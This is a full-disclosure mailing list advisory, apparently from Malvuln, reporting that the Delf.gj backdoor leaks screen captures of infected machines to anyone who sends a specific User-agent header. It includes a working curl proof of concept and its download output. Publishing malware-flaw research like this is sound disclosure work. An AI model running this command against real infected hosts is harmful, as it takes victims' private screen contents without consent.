full-disclosure - [FD] Backdoor.Win32.Delf.gj / Information Disclosure

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Message-ID: <CAAHK0WSoQ-E8rK1Lvz3H=bCM2yW+Hrx9dXHYShJS1sdE6CKi3g@mail.gmail.com>
Date: Fri, 2 Dec 2022 00:06:22 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Delf.gj / Information Disclosure

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
https://malvuln.com/advisory/8872c2ec49ff3382240762a029631684.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln
Backup media: infosec.exchange/@...vuln

Threat: Backdoor.Win32.Delf.gj
Vulnerability: Information Disclosure
Description: The malware listens on TCP port 80. Third-party adversaries
who can reach an infected system can pass "netscreen.jpg" for the
User-agent: header in the HTTP request to download victim machines screen
captures.
Family: Delf
Type: PE32
MD5: 8872c2ec49ff3382240762a029631684
Vuln ID: MVID-2022-0663
Disclosure: 12/01/2022

Exploit/PoC:
curl http://x.x.x.x -H "User-agent: netscreen.jpg" --output screendump.jpg
  % Total    % Received % Xferd  Average Speed   Time    Time     Time
 Current
                                 Dload  Upload   Total   Spent    Left
 Speed
100  215k  100  215k    0     0   215k      0  0:00:01 --:--:--  0:00:01
1976k

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
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